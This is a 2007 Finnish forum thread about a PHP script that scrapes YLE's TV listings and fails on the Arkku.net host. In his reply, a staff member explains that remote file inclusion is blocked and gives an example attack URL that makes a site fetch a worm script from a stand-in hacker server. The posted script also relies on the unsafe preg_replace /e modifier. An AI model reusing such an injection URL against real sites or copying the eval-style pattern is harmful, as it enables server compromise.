Kirjaudu sisäänKäyttäjätunnusSalasana
Kirjaa minut aina sisään automaattisesti    
Rekisteröidy
Rekisteröidy
Kirjaudu sisään tarkistaaksesi yksityiset viestit
Kirjaudu sisään tarkistaaksesi yksityiset viestit
Arkku.net Foorumin päävalikko » Ohjelmointi

Lähetä uusi viesti   Vastaa viestiin
TV-ohjelmat sivuille ja eikä toimi ARKKU.NETISSÄ!
Näytä edellinen aihe :: Näytä seuraava aihe  
Kirjoittaja Viesti
Jusalus
-


Liittynyt: 26 Tam 2006
Viestejä: 14

LähetäLähetetty: 26.2.2007 16:49    Viestin aihe: TV-ohjelmat sivuille ja eikä toimi ARKKU.NETISSÄ! Vastaa lainaamalla viestiä

Mikä on vikana, kun ei anna toimia tv-ohjelmat skirptiä arkku.netissä? Kokeilin koti.mbnet.fi:ssä niin yhtäkkiä toimiikin.

Koodi:
<?php
  /*
    TV-Ohjelma Script by rikshot!
    Kaikki on sit copyrightatty!
    Mä tein tän mun työpöydälle ihan huviks vaan.
  */
  $sivu = implode('', file('http://www.yle.fi/ohjelmaopas/index.php?&co[]=tv1&co[]=tv2&co[]=mtv&co[]=nel&mode=print'));
  $etsi = array ("'<script[^>]*?>.*?</script>'si","'<[\/\!]*?[^<>]*?>'si","'([\r\n])[\s]+'","'&(quot|#34);'i","'&(amp|#38);'i","'&(lt|#60);'i",
"'&(gt|#62);'i","'&(nbsp|#160);'i","'&(iexcl|#161);'i","'&(cent|#162);'i","'&(pound|#163);'i","'&(copy|#169);'i","'&#(\d+);'e");
  $muuta = array ("","","\\1","\"","&","<",">"," ",chr(161),chr(162),chr(163),chr(169),"chr(\\1)");
  $ohjelmat = preg_replace ($etsi, $muuta, $sivu);
  $ohjelmat = strstr($ohjelmat, "}");
  $ohjelmat = substr($ohjelmat, 2);
  $ohjelmat = nl2br($ohjelmat);
  $ohjelmat = str_replace("TV1<", "<table width=100% border=0 cellpadding=10 cellspacing=0><tr colspan=4><td valign=top><b>TV1</b><", $ohjelmat);
  $ohjelmat = str_replace("TV2<", "</td><td valign=top><b>TV2</b><", $ohjelmat);
  $ohjelmat = str_replace("MTV3<", "</td><td valign=top><b>MTV3</b><", $ohjelmat);
  $ohjelmat = str_replace("Nelonen<", "</td><td valign=top><b>Nelonen</b><", $ohjelmat);
  $ohjelmat = str_replace("&nbsp", "&nbsp;", $ohjelmat);
  $ohjelmat .= "</td></tr></table>";
  echo $ohjelmat;
?>


Siinä olisi se koodi pätkä ja helppii kaipaisin.

Mod. Edit.
Rivitetty paremmin
T: Lurulude
Takaisin alkuun
Näytä käyttäjän tiedot Lähetä yksityinen viesti Lähetä sähköposti Käy lähettäjän sivustolla
ruutana
-


Liittynyt: 31 Jou 2004
Viestejä: 49
Paikkakunta: Espoo

LähetäLähetetty: 26.2.2007 16:59    Viestin aihe: Vastaa lainaamalla viestiä

Joo, mulla on ollu samanlaisia ongelmia php:n mail-funktion kanssa. Sähköpostit ei saapunu joillekin palvelimille (ei saunalahtii, mutta gmailiin kyllä), mutta kun koodin ajo toisella kotisivulla niin kaikki toimi. Ilmeisesti saunalahti katsoi, että arkulta tulee roskapostia tai muuta vastaavaa. En tiedä. Mutta näin saattaa olla tämänkin socket-koodin kanssa. Niin ja enkä ole saanut ongelmaa korjattua ja sitä tuli pohdittua Lefankin kanssa.
_________________
http://arkku.net/?referer=108
Takaisin alkuun
Näytä käyttäjän tiedot Lähetä yksityinen viesti Lähetä sähköposti Käy lähettäjän sivustolla
Jusalus
-


Liittynyt: 26 Tam 2006
Viestejä: 14

LähetäLähetetty: 26.2.2007 17:01    Viestin aihe: Vastaa lainaamalla viestiä

Ei ole kysymys e-mailin skript koodeista vaan tästä aiheesta. Laughing
Takaisin alkuun
Näytä käyttäjän tiedot Lähetä yksityinen viesti Lähetä sähköposti Käy lähettäjän sivustolla
Lefa
Arkku.net henkilökunta


Liittynyt: 09 Lok 2004
Viestejä: 826
Paikkakunta: Tampere

LähetäLähetetty: 26.2.2007 17:04    Viestin aihe: Vastaa lainaamalla viestiä

Arkussa include()- ja file()-funktioilla ei voi turvallisuussyistä avata tiedostoja http-protokollan yli. Tämä muutos tehtiin siksi, koska joidenkin käyttäjien php-koodit olivat niin reikäisiä (huono tietoturva), että kuka tahansa olisi voinut ladata matoja palvelimelle kirjoittamalla osoitepalkkiin esimerkiksi http://tunnus.arkku.net/?sivu=http://hakkeriservu.org/hack.pl.

file()-funktion käytön voi korvata muilla funktioilla.
Takaisin alkuun
Näytä käyttäjän tiedot Lähetä yksityinen viesti Lähetä sähköposti Käy lähettäjän sivustolla MSN Messenger
Jusalus
-


Liittynyt: 26 Tam 2006
Viestejä: 14

LähetäLähetetty: 27.2.2007 16:45    Viestin aihe: Vastaa lainaamalla viestiä

Siis mitä mie teen? Confused
Takaisin alkuun
Näytä käyttäjän tiedot Lähetä yksityinen viesti Lähetä sähköposti Käy lähettäjän sivustolla
Lurulude
Arkku.net henkilökunta


Liittynyt: 01 Syy 2005
Viestejä: 213
Paikkakunta: Lohja

LähetäLähetetty: 27.2.2007 17:24    Viestin aihe: Vastaa lainaamalla viestiä

Tuotanoin, tuo ei taida onnistua aivan helposti... toki voit luoda ftp-härpäkkeen, jolla haet ftp:n avulla kyseisen sivun ja siitä sitten parsit, mutta se ei ole hirveän helppoa. Ehkäpä järkevintä olisi tehdä ihan puhdas i-frame, johonka laitat kyseisen sivun. Muutenkin, epäilen hieman tuon skriptin käytön laillisuutta, eiköhän tuossa rikota ylen tekijänoikeuksia.
_________________
Arkku.net Staff
Takaisin alkuun
Näytä käyttäjän tiedot Lähetä yksityinen viesti Lähetä sähköposti Käy lähettäjän sivustolla MSN Messenger
Näytä edelliset viestit:   
Lähetä uusi viesti   Vastaa viestiin    Arkku.net Foorumin päävalikko » Ohjelmointi Kaikki ajat ovat GMT + 3 tuntia
Sivu 1 Yht. 1

 
Siirry:  
Et voi kirjoittaa uusia viestejä tässä foorumissa
Et voi vastata viesteihin tässä foorumissa
Et voi muokata viestejäsi tässä foorumissa
Et voi poistaa viestejäsi tässä foorumissa
Et voi äänestää tässä foorumissa